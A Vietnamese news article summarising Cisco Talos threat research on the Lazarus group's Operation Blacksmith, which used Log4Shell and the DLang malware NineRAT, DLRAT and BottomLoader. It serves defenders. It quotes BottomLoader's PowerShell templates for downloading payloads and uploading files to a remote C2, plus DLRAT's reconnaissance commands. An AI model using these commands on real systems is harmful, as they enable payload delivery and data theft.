Giải mã chiến dịch Operation Blacksmith: Nhóm tin tặc Triều Tiên Lazarus sử dụng phần mềm độc hại mới dựa trên DLang

07:58 | 27/12/2023

Các nhà nghiên cứu tại Công ty công nghệ an ninh mạng Cisco Talos (Mỹ) mới đây đã phát hiện ra chiến dịch Operation Blacksmith do nhóm tin tặc Lazarus khét tiếng của Triều Tiên thực hiện, sử dụng ba họ phần mềm độc hại dựa trên ngôn ngữ lập trình DLang, bao gồm trojan truy cập từ xa (RAT) có tên là NineRAT tận dụng Telegram để ra lệnh và kiểm soát (C2), DLRAT và trình tải xuống có tên là BottomLoader.

TỔNG QUAN

Các nhà nghiên cứu đã mô tả các chiến thuật, kỹ thuật và quy trình (TTP) của các tác nhân đe dọa trong chiến dịch Operation Blacksmith hiện tại có nhiều điểm tương đồng và trùng lặp với nhóm tin tặc được Chính phủ Triều Tiên bảo trợ đang được theo dõi là Andariel (còn gọi là Onyx Sleet hoặc Silent Chollima), một nhóm nhỏ của Lazarus.

Cisco Talos đánh giá rằng Lazarus là một nhóm tin tặc lớn hoạt động với các nhánh nhỏ hỗ trợ các mục tiêu khác nhau của Triều Tiên trong lĩnh vực quốc phòng, chính trị, an ninh quốc gia hay nghiên cứu phát triển. Mỗi nhóm nhỏ thường có chiến lược riêng, cũng như nghiên cứu và triển khai phần mềm độc hại riêng cho từng mục tiêu của họ mà không nhất thiết phải phối hợp tổng thể.

Trong đó, nhóm tin tặc Andariel thường được giao nhiệm vụ trinh sát hệ thống và thiết lập quyền truy cập lâu dài cho các hoạt động gián điệp nhằm hỗ trợ lợi ích của Chính phủ Triều Tiên. Trong một số trường hợp, Andariel cũng đã tiến hành các cuộc tấn công bằng mã độc tống tiền nhằm vào các tổ chức chăm sóc sức khỏe.

Chiến dịch mới khai thác các lỗ hổng bảo mật trong Log4j để triển khai các RAT chưa được biết đến trước đó trên các máy chủ bị xâm nhập. Các nhà nghiên cứu cho biết Lazarus tập trung mục tiêu vào các công ty trong lĩnh vực sản xuất, nông nghiệp và an ninh vật lý.

GIẢI MÃ CHIẾN DỊCH OPERATION BLACKSMITH

Chiến dịch Operation Blacksmith liên quan đến việc khai thác lỗ hổng CVE-2021-44228, còn được gọi là Log4Shell và việc sử dụng RAT dựa trên ngôn ngữ DLang tận dụng Telegram làm kênh liên lạc C2 của nó. Các nhà nghiên cứu đặt tên dòng phần mềm độc hại này là NineRAT.

NineRAT được biên dịch vào tháng 5/2022 và được sử dụng lần đầu tiên trong chiến dịch Operation Blacksmith vào đầu tháng 3/2023 với mục tiêu vào một tổ chức nông nghiệp tại Nam Mỹ. Sau đó, các nhà nghiên cứu nhận thấy NineRAT được sử dụng trở lại vào tháng 9/2023 trong một cuộc tấn công mạng nhắm vào một thực thể sản xuất ở châu Âu.

Đáng chú ý trong chiến dịch tấn công Operation Blacksmith, một thành phần lạ thường có tên gọi HazyLoad được xuất hiện, đây là công cụ proxy được tạo tùy chỉnh trước đây chỉ thấy trong báo cáo của Microsoft. Cisco Talos phát hiện HazyLoad nhắm mục tiêu vào một công ty châu Âu và một nhánh công ty con ở Mỹ của một tập đoàn giám sát và an ninh vật lý của Hàn Quốc ngay từ tháng 5/2023.

Ngoài Hazyload, các nhà nghiên cứu còn phát hiện ra NineRAT và hai họ phần mềm độc hại khác - cả hai đều dựa trên DLang và đang được Lazarus sử dụng. Điều này bao gồm DLRAT và trình tải xuống BottomLoader nhằm tải các payload bổ sung như HazyLoad trên thiết bị bị nhiễm.

Biên dịch bằng DLang

NineRAT sử dụng Telegram làm kênh C2 để yêu cầu nhận lệnh, truyền đạt đầu ra của chúng và thậm chí để truyền tệp đến và đi. Việc Lazarus sử dụng Telegram có khả năng để trốn tránh các biện pháp phát hiện dựa trên mạng và máy chủ thông qua một dịch vụ hợp pháp làm kênh liên lạc C2.

NineRAT bao gồm một tệp nhị phân dropper chứa hai thành phần khác được nhúng trong đó. Dropper sẽ ghi hai thành phần này vào đĩa và xóa chính nó. Thành phần đầu tiên là một công cụ, được gọi là nsIookup.exe (viết hoa chữ “I” thay vì chữ “l” viết thường) sẽ thực thi thành phần thứ hai và được sử dụng để duy trì tính bền vững bằng tập lệnh BAT. Tệp nhị phân của công cụ chứa đường dẫn được cấu hình tới phần mềm độc hại NineRAT được sử dụng để thực thi phần mềm độc hại được thể hiện qua Hình 1.

Hình 1. Thành phần đầu tiên chứa đường dẫn đến phần mềm độc hại NineRAT

Khi NineRAT được kích hoạt, phần mềm độc hại sẽ trở thành phương thức tương tác chính với máy chủ bị nhiễm. Tuy nhiên, các cơ chế backdoor được triển khai trước đó, chẳng hạn như công cụ rerverse proxy HazyLoad vẫn được giữ nguyên. Trong các cuộc xâm nhập trước đây, chẳng hạn như vụ tấn công được Cisco Talos tiết lộ vào năm 2022, Lazarus phụ thuộc rất nhiều vào việc sử dụng các công cụ proxy như một phương tiện để tiếp tục truy cập vào việc ra lệnh và lọc dữ liệu.

Các kênh Telegram C2 được phần mềm độc hại sử dụng đã dẫn đến việc phát hiện ra bot Telegram từng biết đến trước đó là “[at]StudyJ001Bot” được Lazarus tận dụng trong NineRAT. Việc sử dụng bot truy cập công khai có thể dẫn đến khả năng chiếm đoạt cơ sở hạ tầng và đây cũng chính là lý do mà Lazarus đã bắt đầu sử dụng bot của riêng họ cho NineRAT.

Nhóm tin tặc Anadriel đã tiếp tục sử dụng RAT này cho đến năm 2023, mặc dù mới tiếp cận NineRAT lần đầu vào năm 2022. NineRAT thường bao gồm hai mã thông báo API để tương tác với hai kênh Telegram khác nhau, một trong những mã thông báo này được công khai trên Internet. Bên cạnh đó, NineRAT cũng có thể tự gỡ cài đặt khỏi hệ thống bằng tệp BAT.

NineRAT tương tác với kênh Telegram bằng cách sử dụng các thư viện dựa trên DLang được triển khai để giao tiếp với API của Telegram. Ban đầu, phần mềm độc hại này sẽ kiểm tra khả năng xác thực bằng phương thức getMe.

Khi phân tích các mẫu NineRAT, các nhà nghiên cứu đã phát hiện thêm hai họ phần mềm độc hại được viết bằng ngôn ngữ DLang bởi Lazarus. Một trong số đó chỉ đơn giản là một trình tải xuống mà Cisco Talos theo dõi với tên gọi là BottomLoader, nhằm tải xuống và thực thi payload giai đoạn tiếp theo từ một máy chủ từ xa, chẳng hạn như HazyLoad.

Hình 2. Chuỗi và URL payload được nhúng trong trình tải xuống BottomLoader

BottomLoader có thể tải xuống payload giai đoạn tiếp theo từ một URL từ xa được mã hóa cứng thông qua lệnh PowerShell như sau: “powershell Invoke-webrequest -URI <URL> -outfile <file_location_on_system>”. Ngoài ra, BottomLoader cũng có thể tải tệp lên C2 bằng PowerShell: “powershell (New-Object System.Net.WebClient).UploadFile('<file_path>','<remote_url>’)”.

Phần mềm độc hại này cũng có thể tạo tính bền vững cho các phiên bản mới hơn hoặc payload tiếp theo hoàn toàn mới bằng cách tạo tệp .URL trong thư mục Startup để chạy lệnh PowerShell nhằm tải xuống payload.

Hình 3. Tập lệnh được triển khai cho tệp URL

Một phần mềm độc hại khác là trình tải xuống và RAT với tên gọi là DLRAT, có thể được sử dụng để triển khai mã độc bổ sung và truy xuất lệnh từ C2, sau đó thực thi chúng trên các thiết bị điểm cuối bị nhiễm.

Hình 4. Phần mềm độc hại DLRAT

Khám phá DLRAT

DLRAT chứa các lệnh được mã hóa cứng để thực hiện trinh sát hệ thống. Nó bắt đầu bằng cách thực thi các lệnh trên thiết bị để thu thập thông tin sơ bộ về hệ thống, ví dụ như: “ver”, “whoami” và “getmac”. Với điều này, các tin tặc sẽ có thông tin về phiên bản hệ điều hành, người dùng nào đang chạy phần mềm độc hại và địa chỉ MAC cho phép họ xác định hệ thống trên mạng.

Hình 5. Đoạn mã DLRAT bao gồm khả năng thu thập dữ liệu sơ bộ hệ thống

Lúc này, một tệp sẽ được khởi tạo trong cùng thư mục với tên gọi là SynUnst.ini. Sau khi kết nối tới C2, RAT sẽ sử dụng phương thức POST để gửi những thông tin được thu thập và phiên được mã hóa cứng.

Trong quá trình phân tích, các nhà nghiên cứu nhận thấy rằng ID thông tin phiên được DLRAT sử dụng trong quá trình liên lạc với máy chủ C2 của nó là “23wfow02rofw391ng23“, giống với giá trị mà các nhà nghiên cứu đã tìm thấy trong phân tích trước đây về MagicRAT. Thông tin phiên này được mã hóa cứng vào phần mềm độc hại DLRAT dưới dạng chuỗi mã hóa base64 được xây dựng trên ngăn xếp tiến trình trong thời gian chạy.

Hình 6. ID phiên được mã hóa cứng trong DLRAT, giống như MagicRAT

Phần mềm độc hại nhận ra các mã/tên lệnh sau được gửi bởi máy chủ C2 để thực thi các hành động tương ứng trên hệ thống bị nhiễm.

Bảng 1. Tên lệnh C2 và mô tả tương ứng

PHÂN TÍCH CHUỖI HOẠT ĐỘNG

Giai đoạn 1: Cuộc trinh sát ban đầu của Lazarus

Hình 7. Chuỗi lây nhiễm điển hình được quan sát trong chiến dịch Operation Blacksmith

Quyền truy cập ban đầu của Lazarus bắt đầu bằng việc khai thác thành công lỗ hổng CVE-2021-44228 nhắm các máy chủ VMWare Horizon được phát hiện vào năm 2021. Sau khi quá trình trinh sát hoàn tất, các tin tặc Lazarus đã triển khai HazyLoad, một công cụ proxy dùng để thiết lập quyền truy cập trực tiếp vào hệ thống bị nhiễm mà không cần phải khai thác CVE-2021-44228 nhiều lần.

Trong một số trường hợp nhất định, tin tặc cũng sẽ chuyển HazyLoad sang địa chỉ IP từ xa mới. Đây là chiến thuật phổ biến mà kẻ tấn công sử dụng để duy trì quyền truy cập liên tục vào các hệ thống bị xâm nhập trước đó.

Đồng thời, các tin tặc cũng tạo một tài khoản người dùng bổ sung trên hệ thống và cấp cho nó đặc quyền quản trị. Sau đó, tin tặc sẽ chuyển sang tài khoản này để thực hiện tấn công “hands-on-keyboard”, điều này tạo ra sự sai lệch so với mô hình mà Cisco Talos đã phân tích trước đó. Hoạt động tấn công này bắt đầu bằng cách tải xuống và sử dụng các công cụ hỗ trợ trích xuất thông tin xác thực như ProcDump và MimiKatz.

Giai đoạn 2: Triển khai NineRAT

Trong giai đoạn 2, Lazarus sẽ triển khai NineRAT, một phần mềm độc hại được viết bằng DLang trên các hệ thống bị nhiễm. NineRAT lần đầu tiên được Lazarus sử dụng trong thực tế vào đầu tháng 3/2023.

Sau khi NineRAT được kích hoạt, nó sẽ chấp nhận các lệnh từ kênh C2 dựa trên Telegram để lấy lại dấu vết của các hệ thống bị nhiễm. Hành động này cho thấy dữ liệu do Lazarus thu thập được qua NineRAT có thể được chia sẻ bởi nhiều nhóm APT, về cơ bản nằm trong một kho lưu trữ khác với dữ liệu dấu vân tay được Lazarus thu thập ban đầu trong giai đoạn triển khai phần mềm độc hại và truy cập ban đầu của họ.

KẾT LUẬN

Những phát hiện mới nhất của Cisco Talos cho thấy sự thay đổi rõ ràng trong chiến thuật của nhóm tin tặc APT Lazarus. Trong hơn một năm qua, Cisco Talos đã tiết lộ ba RAT khác nhau được xây dựng bằng các kỹ thuật không phổ biến trong quá trình phát triển của chúng, điển hình như QtFramework, PowerBasic và bây giờ là DLang.